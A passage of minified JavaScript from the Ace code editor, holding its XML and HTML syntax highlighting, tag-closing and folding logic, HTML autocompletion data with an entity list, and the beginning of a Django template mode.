,regex:\"\\\\[\",push:\"int_subset\"}],int_subset:[{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"punctuation.int-subset.xml\",regex:\"]\",next:\"pop\"},{token:[\"punctuation.markup-decl.xml\",\"keyword.markup-decl.xml\"],regex:\"(<\\\\!)(\"+t+\")\",push:[{token:\"text\",regex:\"\\\\s+\"},{token:\"punctuation.markup-decl.xml\",regex:\">\",next:\"pop\"},{include:\"string\"}]}],cdata:[{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\",next:\"start\"},{token:\"text.xml\",regex:\"\\\\s+\"},{token:\"text.xml\",regex:\"(?:[^\\\\]]|\\\\](?!\\\\]>))+\"}],comment:[{token:\"comment.xml\",regex:\"-->\",next:\"start\"},{defaultToken:\"comment.xml\"}],reference:[{token:\"constant.language.escape.reference.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],attr_reference:[{token:\"constant.language.escape.reference.attribute-value.xml\",regex:\"(?:&#[0-9]+;)|(?:&#x[0-9a-fA-F]+;)|(?:&[a-zA-Z0-9_:\\\\.-]+;)\"}],tag:[{token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.tag-name.xml\"],regex:\"(?:(<)|(</))((?:\"+t+\":)?\"+t+\")\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}],tag_whitespace:[{token:\"text.tag-whitespace.xml\",regex:\"\\\\s+\"}],whitespace:[{token:\"text.whitespace.xml\",regex:\"\\\\s+\"}],string:[{token:\"string.xml\",regex:\"'\",push:[{token:\"string.xml\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.xml\"}]},{token:\"string.xml\",regex:'\"',push:[{token:\"string.xml\",regex:'\"',next:\"pop\"},{defaultToken:\"string.xml\"}]}],attributes:[{token:\"entity.other.attribute-name.xml\",regex:\"(?:\"+t+\":)?\"+t+\"\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\"},{include:\"tag_whitespace\"},{include:\"attribute_value\"}],attribute_value:[{token:\"string.attribute-value.xml\",regex:\"'\",push:[{token:\"string.attribute-value.xml\",regex:\"'\",next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]},{token:\"string.attribute-value.xml\",regex:'\"',push:[{token:\"string.attribute-value.xml\",regex:'\"',next:\"pop\"},{include:\"attr_reference\"},{defaultToken:\"string.attribute-value.xml\"}]}]},this.constructor===s&&this.normalizeRules()};(function(){this.embedTagRules=function(e,t,n){this.$rules.tag.unshift({token:[\"meta.tag.punctuation.tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(<)(\"+n+\"(?=\\\\s|>|$))\",next:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:t+\"start\"}]}),this.$rules[n+\"-end\"]=[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\",onMatch:function(e,t,n){return n.splice(0),this.token}}],this.embedRules(e,t,[{token:[\"meta.tag.punctuation.end-tag-open.xml\",\"meta.tag.\"+n+\".tag-name.xml\"],regex:\"(</)(\"+n+\"(?=\\\\s|>|$))\",next:n+\"-end\"},{token:\"string.cdata.xml\",regex:\"<\\\\!\\\\[CDATA\\\\[\"},{token:\"string.cdata.xml\",regex:\"\\\\]\\\\]>\"}])}}).call(i.prototype),r.inherits(s,i),t.XmlHighlightRules=s}),define(\"ace/mode/html_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/css_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./css_highlight_rules\").CssHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=i.createMap({a:\"anchor\",button:\"form\",form:\"form\",img:\"image\",input:\"form\",label:\"form\",option:\"form\",script:\"script\",select:\"form\",textarea:\"form\",style:\"style\",table:\"table\",tbody:\"table\",td:\"table\",tfoot:\"table\",th:\"table\",tr:\"table\"}),f=function(){u.call(this),this.addRules({attributes:[{include:\"tag_whitespace\"},{token:\"entity.other.attribute-name.xml\",regex:\"[-_a-zA-Z0-9:.]+\"},{token:\"keyword.operator.attribute-equals.xml\",regex:\"=\",push:[{include:\"tag_whitespace\"},{token:\"string.unquoted.attribute-value.html\",regex:\"[^<>='\\\"`\\\\s]+\",next:\"pop\"},{token:\"empty\",regex:\"\",next:\"pop\"}]},{include:\"attribute_value\"}],tag:[{token:function(e,t){var n=a[t];return[\"meta.tag.punctuation.\"+(e==\"<\"?\"\":\"end-\")+\"tag-open.xml\",\"meta.tag\"+(n?\".\"+n:\"\")+\".tag-name.xml\"]},regex:\"(</?)([-_a-zA-Z0-9:.]+)\",next:\"tag_stuff\"}],tag_stuff:[{include:\"attributes\"},{token:\"meta.tag.punctuation.tag-close.xml\",regex:\"/?>\",next:\"start\"}]}),this.embedTagRules(s,\"css-\",\"style\"),this.embedTagRules((new o({noJSX:!0})).getRules(),\"js-\",\"script\"),this.constructor===f&&this.normalizeRules()};r.inherits(f,u),t.HtmlHighlightRules=f}),define(\"ace/mode/behaviour/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";function u(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),a=function(){this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){var o=i,a=r.doc.getTextRange(n.getSelectionRange());if(a!==\"\"&&a!==\"'\"&&a!='\"'&&n.getWrapBehavioursEnabled())return{text:o+a+o,selection:!1};var f=n.getCursorPosition(),l=r.doc.getLine(f.row),c=l.substring(f.column,f.column+1),h=new s(r,f.row,f.column),p=h.getCurrentToken();if(c==o&&(u(p,\"attribute-value\")||u(p,\"string\")))return{text:\"\",selection:[1,1]};p||(p=h.stepBackward());if(!p)return;while(u(p,\"tag-whitespace\")||u(p,\"whitespace\"))p=h.stepBackward();var d=!c||c.match(/\\s/);if(u(p,\"attribute-equals\")&&(d||c==\">\")||u(p,\"decl-attribute-equals\")&&(d||c==\"?\"))return{text:o+o,selection:[1,1]}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}}),this.add(\"autoclosing\",\"insertion\",function(e,t,n,r,i){if(i==\">\"){var o=n.getCursorPosition(),a=new s(r,o.row,o.column),f=a.getCurrentToken()||a.stepBackward();if(!f||!(u(f,\"tag-name\")||u(f,\"tag-whitespace\")||u(f,\"attribute-name\")||u(f,\"attribute-equals\")||u(f,\"attribute-value\")))return;if(u(f,\"reference.attribute-value\"))return;if(u(f,\"attribute-value\")){var l=f.value.charAt(0);if(l=='\"'||l==\"'\"){var c=f.value.charAt(f.value.length-1),h=a.getCurrentTokenColumn()+f.value.length;if(h>o.column||h==o.column&&l!=c)return}}while(!u(f,\"tag-name\"))f=a.stepBackward();var p=a.getCurrentTokenRow(),d=a.getCurrentTokenColumn();if(u(a.stepBackward(),\"end-tag-open\"))return;var v=f.value;p==o.row&&(v=v.substring(0,o.column-d));if(this.voidElements.hasOwnProperty(v.toLowerCase()))return;return{text:\"></\"+v+\">\",selection:[1,1]}}}),this.add(\"autoindent\",\"insertion\",function(e,t,n,r,i){if(i==\"\\n\"){var o=n.getCursorPosition(),u=r.getLine(o.row),a=new s(r,o.row,o.column),f=a.getCurrentToken();if(f&&f.type.indexOf(\"tag-close\")!==-1){if(f.value==\"/>\")return;while(f&&f.type.indexOf(\"tag-name\")===-1)f=a.stepBackward();if(!f)return;var l=f.value,c=a.getCurrentTokenRow();f=a.stepBackward();if(!f||f.type.indexOf(\"end-tag\")!==-1)return;if(this.voidElements&&!this.voidElements[l]){var h=r.getTokenAt(o.row,o.column+1),u=r.getLine(c),p=this.$getIndent(u),d=p+r.getTabString();return h&&h.value===\"</\"?{text:\"\\n\"+d+\"\\n\"+p,selection:[1,d.length,1,d.length]}:{text:\"\\n\"+d}}}}})};r.inherits(a,i),t.XmlBehaviour=a}),define(\"ace/mode/folding/mixed\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=t.FoldMode=function(e,t){this.defaultMode=e,this.subModes=t};r.inherits(s,i),function(){this.$getMode=function(e){typeof e!=\"string\"&&(e=e[0]);for(var t in this.subModes)if(e.indexOf(t)===0)return this.subModes[t];return null},this.$tryMode=function(e,t,n,r){var i=this.$getMode(e);return i?i.getFoldWidget(t,n,r):\"\"},this.getFoldWidget=function(e,t,n){return this.$tryMode(e.getState(n-1),e,t,n)||this.$tryMode(e.getState(n),e,t,n)||this.defaultMode.getFoldWidget(e,t,n)},this.getFoldWidgetRange=function(e,t,n){var r=this.$getMode(e.getState(n-1));if(!r||!r.getFoldWidget(e,t,n))r=this.$getMode(e.getState(n));if(!r||!r.getFoldWidget(e,t,n))r=this.defaultMode;return r.getFoldWidgetRange(e,t,n)}}.call(s.prototype)}),define(\"ace/mode/folding/xml\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/range\",\"ace/mode/folding/fold_mode\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function l(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}var r=e(\"../../lib/oop\"),i=e(\"../../lib/lang\"),s=e(\"../../range\").Range,o=e(\"./fold_mode\").FoldMode,u=e(\"../../token_iterator\").TokenIterator,a=t.FoldMode=function(e,t){o.call(this),this.voidElements=e||{},this.optionalEndTags=r.mixin({},this.voidElements),t&&r.mixin(this.optionalEndTags,t)};r.inherits(a,o);var f=function(){this.tagName=\"\",this.closing=!1,this.selfClosing=!1,this.start={row:0,column:0},this.end={row:0,column:0}};(function(){this.getFoldWidget=function(e,t,n){var r=this._getFirstTagInLine(e,n);return r?r.closing||!r.tagName&&r.selfClosing?t==\"markbeginend\"?\"end\":\"\":!r.tagName||r.selfClosing||this.voidElements.hasOwnProperty(r.tagName.toLowerCase())?\"\":this._findEndTagInLine(e,n,r.tagName,r.end.column)?\"\":\"start\":\"\"},this._getFirstTagInLine=function(e,t){var n=e.getTokens(t),r=new f;for(var i=0;i<n.length;i++){var s=n[i];if(l(s,\"tag-open\")){r.end.column=r.start.column+s.value.length,r.closing=l(s,\"end-tag-open\"),s=n[++i];if(!s)return null;r.tagName=s.value,r.end.column+=s.value.length;for(i++;i<n.length;i++){s=n[i],r.end.column+=s.value.length;if(l(s,\"tag-close\")){r.selfClosing=s.value==\"/>\";break}}return r}if(l(s,\"tag-close\"))return r.selfClosing=s.value==\"/>\",r;r.start.column+=s.value.length}return null},this._findEndTagInLine=function(e,t,n,r){var i=e.getTokens(t),s=0;for(var o=0;o<i.length;o++){var u=i[o];s+=u.value.length;if(s<r)continue;if(l(u,\"end-tag-open\")){u=i[o+1];if(u&&u.value==n)return!0}}return!1},this._readTagForward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do if(l(t,\"tag-open\"))n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn();else if(l(t,\"tag-name\"))n.tagName=t.value;else if(l(t,\"tag-close\"))return n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length,e.stepForward(),n;while(t=e.stepForward());return null},this._readTagBackward=function(e){var t=e.getCurrentToken();if(!t)return null;var n=new f;do{if(l(t,\"tag-open\"))return n.closing=l(t,\"end-tag-open\"),n.start.row=e.getCurrentTokenRow(),n.start.column=e.getCurrentTokenColumn(),e.stepBackward(),n;l(t,\"tag-name\")?n.tagName=t.value:l(t,\"tag-close\")&&(n.selfClosing=t.value==\"/>\",n.end.row=e.getCurrentTokenRow(),n.end.column=e.getCurrentTokenColumn()+t.value.length)}while(t=e.stepBackward());return null},this._pop=function(e,t){while(e.length){var n=e[e.length-1];if(!t||n.tagName==t.tagName)return e.pop();if(this.optionalEndTags.hasOwnProperty(n.tagName)){e.pop();continue}return null}},this.getFoldWidgetRange=function(e,t,n){var r=this._getFirstTagInLine(e,n);if(!r)return null;var i=r.closing||r.selfClosing,o=[],a;if(!i){var f=new u(e,n,r.start.column),l={row:n,column:r.start.column+r.tagName.length+2};r.start.row==r.end.row&&(l.column=r.end.column);while(a=this._readTagForward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(a.closing){this._pop(o,a);if(o.length==0)return s.fromPoints(l,a.start)}else o.push(a)}}else{var f=new u(e,n,r.end.column),c={row:n,column:r.start.column};while(a=this._readTagBackward(f)){if(a.selfClosing){if(!o.length)return a.start.column+=a.tagName.length+2,a.end.column-=2,s.fromPoints(a.start,a.end);continue}if(!a.closing){this._pop(o,a);if(o.length==0)return a.start.column+=a.tagName.length+2,a.start.row==a.end.row&&a.start.column<a.end.column&&(a.start.column=a.end.column),s.fromPoints(a.start,c)}else o.push(a)}}}}).call(a.prototype)}),define(\"ace/mode/folding/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/mixed\",\"ace/mode/folding/xml\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./mixed\").FoldMode,s=e(\"./xml\").FoldMode,o=e(\"./cstyle\").FoldMode,u=t.FoldMode=function(e,t){i.call(this,new s(e,t),{\"js-\":new o,\"css-\":new o})};r.inherits(u,i)}),define(\"ace/mode/html_completions\",[\"require\",\"exports\",\"module\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";function f(e,t){return e.type.lastIndexOf(t+\".xml\")>-1}function l(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"tag-name\"))i=n.stepBackward();if(i)return i.value}function c(e,t){var n=new r(e,t.row,t.column),i=n.getCurrentToken();while(i&&!f(i,\"attribute-name\"))i=n.stepBackward();if(i)return i.value}var r=e(\"../token_iterator\").TokenIterator,i=[\"accesskey\",\"class\",\"contenteditable\",\"contextmenu\",\"dir\",\"draggable\",\"dropzone\",\"hidden\",\"id\",\"inert\",\"itemid\",\"itemprop\",\"itemref\",\"itemscope\",\"itemtype\",\"lang\",\"spellcheck\",\"style\",\"tabindex\",\"title\",\"translate\"],s=[\"onabort\",\"onblur\",\"oncancel\",\"oncanplay\",\"oncanplaythrough\",\"onchange\",\"onclick\",\"onclose\",\"oncontextmenu\",\"oncuechange\",\"ondblclick\",\"ondrag\",\"ondragend\",\"ondragenter\",\"ondragleave\",\"ondragover\",\"ondragstart\",\"ondrop\",\"ondurationchange\",\"onemptied\",\"onended\",\"onerror\",\"onfocus\",\"oninput\",\"oninvalid\",\"onkeydown\",\"onkeypress\",\"onkeyup\",\"onload\",\"onloadeddata\",\"onloadedmetadata\",\"onloadstart\",\"onmousedown\",\"onmousemove\",\"onmouseout\",\"onmouseover\",\"onmouseup\",\"onmousewheel\",\"onpause\",\"onplay\",\"onplaying\",\"onprogress\",\"onratechange\",\"onreset\",\"onscroll\",\"onseeked\",\"onseeking\",\"onselect\",\"onshow\",\"onstalled\",\"onsubmit\",\"onsuspend\",\"ontimeupdate\",\"onvolumechange\",\"onwaiting\"],o=i.concat(s),u={html:{manifest:1},head:{},title:{},base:{href:1,target:1},link:{href:1,hreflang:1,rel:{stylesheet:1,icon:1},media:{all:1,screen:1,print:1},type:{\"text/css\":1,\"image/png\":1,\"image/jpeg\":1,\"image/gif\":1},sizes:1},meta:{\"http-equiv\":{\"content-type\":1},name:{description:1,keywords:1},content:{\"text/html; charset=UTF-8\":1},charset:1},style:{type:1,media:{all:1,screen:1,print:1},scoped:1},script:{charset:1,type:{\"text/javascript\":1},src:1,defer:1,async:1},noscript:{href:1},body:{onafterprint:1,onbeforeprint:1,onbeforeunload:1,onhashchange:1,onmessage:1,onoffline:1,onpopstate:1,onredo:1,onresize:1,onstorage:1,onundo:1,onunload:1},section:{},nav:{},article:{pubdate:1},aside:{},h1:{},h2:{},h3:{},h4:{},h5:{},h6:{},header:{},footer:{},address:{},main:{},p:{},hr:{},pre:{},blockquote:{cite:1},ol:{start:1,reversed:1},ul:{},li:{value:1},dl:{},dt:{},dd:{},figure:{},figcaption:{},div:{},a:{href:1,target:{_blank:1,top:1},ping:1,rel:{nofollow:1,alternate:1,author:1,bookmark:1,help:1,license:1,next:1,noreferrer:1,prefetch:1,prev:1,search:1,tag:1},media:1,hreflang:1,type:1},em:{},strong:{},small:{},s:{},cite:{},q:{cite:1},dfn:{},abbr:{},data:{},time:{datetime:1},code:{},\"var\":{},samp:{},kbd:{},sub:{},sup:{},i:{},b:{},u:{},mark:{},ruby:{},rt:{},rp:{},bdi:{},bdo:{},span:{},br:{},wbr:{},ins:{cite:1,datetime:1},del:{cite:1,datetime:1},img:{alt:1,src:1,height:1,width:1,usemap:1,ismap:1},iframe:{name:1,src:1,height:1,width:1,sandbox:{\"allow-same-origin\":1,\"allow-top-navigation\":1,\"allow-forms\":1,\"allow-scripts\":1},seamless:{seamless:1}},embed:{src:1,height:1,width:1,type:1},object:{param:1,data:1,type:1,height:1,width:1,usemap:1,name:1,form:1,classid:1},param:{name:1,value:1},video:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},width:1,height:1,poster:1,muted:{muted:1},preload:{auto:1,metadata:1,none:1}},audio:{src:1,autobuffer:1,autoplay:{autoplay:1},loop:{loop:1},controls:{controls:1},muted:{muted:1},preload:{auto:1,metadata:1,none:1}},source:{src:1,type:1,media:1},track:{kind:1,src:1,srclang:1,label:1,\"default\":1},canvas:{width:1,height:1},map:{name:1},area:{shape:1,coords:1,href:1,hreflang:1,alt:1,target:1,media:1,rel:1,ping:1,type:1},svg:{},math:{},table:{summary:1},caption:{},colgroup:{span:1},col:{span:1},tbody:{},thead:{},tfoot:{},tr:{},td:{headers:1,rowspan:1,colspan:1},th:{headers:1,rowspan:1,colspan:1,scope:1},form:{\"accept-charset\":1,action:1,autocomplete:1,enctype:{\"multipart/form-data\":1,\"application/x-www-form-urlencoded\":1},method:{get:1,post:1},name:1,novalidate:1,target:{_blank:1,top:1}},fieldset:{disabled:1,form:1,name:1},legend:{},label:{form:1,\"for\":1},input:{type:{text:1,password:1,hidden:1,checkbox:1,submit:1,radio:1,file:1,button:1,reset:1,image:31,color:1,date:1,datetime:1,\"datetime-local\":1,email:1,month:1,number:1,range:1,search:1,tel:1,time:1,url:1,week:1},accept:1,alt:1,autocomplete:{on:1,off:1},autofocus:{autofocus:1},checked:{checked:1},disabled:{disabled:1},form:1,formaction:1,formenctype:{\"application/x-www-form-urlencoded\":1,\"multipart/form-data\":1,\"text/plain\":1},formmethod:{get:1,post:1},formnovalidate:{formnovalidate:1},formtarget:{_blank:1,_self:1,_parent:1,_top:1},height:1,list:1,max:1,maxlength:1,min:1,multiple:{multiple:1},pattern:1,placeholder:1,readonly:{readonly:1},required:{required:1},size:1,src:1,step:1,width:1,files:1,value:1},button:{autofocus:1,disabled:{disabled:1},form:1,formaction:1,formenctype:1,formmethod:1,formnovalidate:1,formtarget:1,name:1,value:1,type:{button:1,submit:1}},select:{autofocus:1,disabled:1,form:1,multiple:{multiple:1},name:1,size:1,readonly:{readonly:1}},datalist:{},optgroup:{disabled:1,label:1},option:{disabled:1,selected:1,label:1,value:1},textarea:{autofocus:{autofocus:1},disabled:{disabled:1},form:1,maxlength:1,name:1,placeholder:1,readonly:{readonly:1},required:{required:1},rows:1,cols:1,wrap:{on:1,off:1,hard:1,soft:1}},keygen:{autofocus:1,challenge:{challenge:1},disabled:{disabled:1},form:1,keytype:{rsa:1,dsa:1,ec:1},name:1},output:{\"for\":1,form:1,name:1},progress:{value:1,max:1},meter:{value:1,min:1,max:1,low:1,high:1,optimum:1},details:{open:1},summary:{},command:{type:1,label:1,icon:1,disabled:1,checked:1,radiogroup:1,command:1},menu:{type:1,label:1},dialog:{open:1}},a=Object.keys(u),h=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);if(!i)return[];if(f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\"))return this.getTagCompletions(e,t,n,r);if(f(i,\"tag-whitespace\")||f(i,\"attribute-name\"))return this.getAttributeCompletions(e,t,n,r);if(f(i,\"attribute-value\"))return this.getAttributeValueCompletions(e,t,n,r);var s=t.getLine(n.row).substr(0,n.column);return/&[A-z]*$/i.test(s)?this.getHTMLEntityCompletions(e,t,n,r):[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompletions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(Object.keys(u[i]))),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})},this.getAttributeValueCompletions=function(e,t,n,r){var i=l(t,n),s=c(t,n);if(!i)return[];var o=[];return i in u&&s in u[i]&&typeof u[i][s]==\"object\"&&(o=Object.keys(u[i][s])),o.map(function(e){return{caption:e,snippet:e,meta:\"attribute value\",score:Number.MAX_VALUE}})},this.getHTMLEntityCompletions=function(e,t,n,r){var i=[\"&Aacute;\",\"&aacute;\",\"&Acirc;\",\"&acirc;\",\"&acute;\",\"&AElig;\",\"&aelig;\",\"&Agrave;\",\"&agrave;\",\"&alefsym;\",\"&Alpha;\",\"&alpha;\",\"&amp;\",\"&and;\",\"&ang;\",\"&Aring;\",\"&aring;\",\"&asymp;\",\"&Atilde;\",\"&atilde;\",\"&Auml;\",\"&auml;\",\"&bdquo;\",\"&Beta;\",\"&beta;\",\"&brvbar;\",\"&bull;\",\"&cap;\",\"&Ccedil;\",\"&ccedil;\",\"&cedil;\",\"&cent;\",\"&Chi;\",\"&chi;\",\"&circ;\",\"&clubs;\",\"&cong;\",\"&copy;\",\"&crarr;\",\"&cup;\",\"&curren;\",\"&Dagger;\",\"&dagger;\",\"&dArr;\",\"&darr;\",\"&deg;\",\"&Delta;\",\"&delta;\",\"&diams;\",\"&divide;\",\"&Eacute;\",\"&eacute;\",\"&Ecirc;\",\"&ecirc;\",\"&Egrave;\",\"&egrave;\",\"&empty;\",\"&emsp;\",\"&ensp;\",\"&Epsilon;\",\"&epsilon;\",\"&equiv;\",\"&Eta;\",\"&eta;\",\"&ETH;\",\"&eth;\",\"&Euml;\",\"&euml;\",\"&euro;\",\"&exist;\",\"&fnof;\",\"&forall;\",\"&frac12;\",\"&frac14;\",\"&frac34;\",\"&frasl;\",\"&Gamma;\",\"&gamma;\",\"&ge;\",\"&gt;\",\"&hArr;\",\"&harr;\",\"&hearts;\",\"&hellip;\",\"&Iacute;\",\"&iacute;\",\"&Icirc;\",\"&icirc;\",\"&iexcl;\",\"&Igrave;\",\"&igrave;\",\"&image;\",\"&infin;\",\"&int;\",\"&Iota;\",\"&iota;\",\"&iquest;\",\"&isin;\",\"&Iuml;\",\"&iuml;\",\"&Kappa;\",\"&kappa;\",\"&Lambda;\",\"&lambda;\",\"&lang;\",\"&laquo;\",\"&lArr;\",\"&larr;\",\"&lceil;\",\"&ldquo;\",\"&le;\",\"&lfloor;\",\"&lowast;\",\"&loz;\",\"&lrm;\",\"&lsaquo;\",\"&lsquo;\",\"&lt;\",\"&macr;\",\"&mdash;\",\"&micro;\",\"&middot;\",\"&minus;\",\"&Mu;\",\"&mu;\",\"&nabla;\",\"&nbsp;\",\"&ndash;\",\"&ne;\",\"&ni;\",\"&not;\",\"&notin;\",\"&nsub;\",\"&Ntilde;\",\"&ntilde;\",\"&Nu;\",\"&nu;\",\"&Oacute;\",\"&oacute;\",\"&Ocirc;\",\"&ocirc;\",\"&OElig;\",\"&oelig;\",\"&Ograve;\",\"&ograve;\",\"&oline;\",\"&Omega;\",\"&omega;\",\"&Omicron;\",\"&omicron;\",\"&oplus;\",\"&or;\",\"&ordf;\",\"&ordm;\",\"&Oslash;\",\"&oslash;\",\"&Otilde;\",\"&otilde;\",\"&otimes;\",\"&Ouml;\",\"&ouml;\",\"&para;\",\"&part;\",\"&permil;\",\"&perp;\",\"&Phi;\",\"&phi;\",\"&Pi;\",\"&pi;\",\"&piv;\",\"&plusmn;\",\"&pound;\",\"&Prime;\",\"&prime;\",\"&prod;\",\"&prop;\",\"&Psi;\",\"&psi;\",\"&quot;\",\"&radic;\",\"&rang;\",\"&raquo;\",\"&rArr;\",\"&rarr;\",\"&rceil;\",\"&rdquo;\",\"&real;\",\"&reg;\",\"&rfloor;\",\"&Rho;\",\"&rho;\",\"&rlm;\",\"&rsaquo;\",\"&rsquo;\",\"&sbquo;\",\"&Scaron;\",\"&scaron;\",\"&sdot;\",\"&sect;\",\"&shy;\",\"&Sigma;\",\"&sigma;\",\"&sigmaf;\",\"&sim;\",\"&spades;\",\"&sub;\",\"&sube;\",\"&sum;\",\"&sup;\",\"&sup1;\",\"&sup2;\",\"&sup3;\",\"&supe;\",\"&szlig;\",\"&Tau;\",\"&tau;\",\"&there4;\",\"&Theta;\",\"&theta;\",\"&thetasym;\",\"&thinsp;\",\"&THORN;\",\"&thorn;\",\"&tilde;\",\"&times;\",\"&trade;\",\"&Uacute;\",\"&uacute;\",\"&uArr;\",\"&uarr;\",\"&Ucirc;\",\"&ucirc;\",\"&Ugrave;\",\"&ugrave;\",\"&uml;\",\"&upsih;\",\"&Upsilon;\",\"&upsilon;\",\"&Uuml;\",\"&uuml;\",\"&weierp;\",\"&Xi;\",\"&xi;\",\"&Yacute;\",\"&yacute;\",\"&yen;\",\"&Yuml;\",\"&yuml;\",\"&Zeta;\",\"&zeta;\",\"&zwj;\",\"&zwnj;\"];return i.map(function(e){return{caption:e,snippet:e.substr(1),meta:\"html entity\",score:Number.MAX_VALUE}})}}).call(h.prototype),t.HtmlCompletions=h}),define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),define(\"ace/mode/django\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/html_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./html_highlight_rules\").HtmlHighlightRules,o=e(\"./text_highlight_rules\").TextHighlightRules,u=function(){this.$rules={start:[{token:\"string\",regex:'\".*?\"'},{token:\"string\",regex:\"'.*?'\"},{token:\"constant\",regex:\"[0-9]+\"},{token:\"variable\",regex:\"[-_a-zA-Z0-9:]+\"}],comment:[{token:\"comment.block\",merge:!0,regex:\".+?\"}],tag:[{token:\"entity.name.function\",regex:\"[a-zA-Z][_a-zA-Z0-9]*\",next:\"start\"}]}};r.inherits(u,o);var a=function(){this.$rules=(new s).getRules();for(var e in 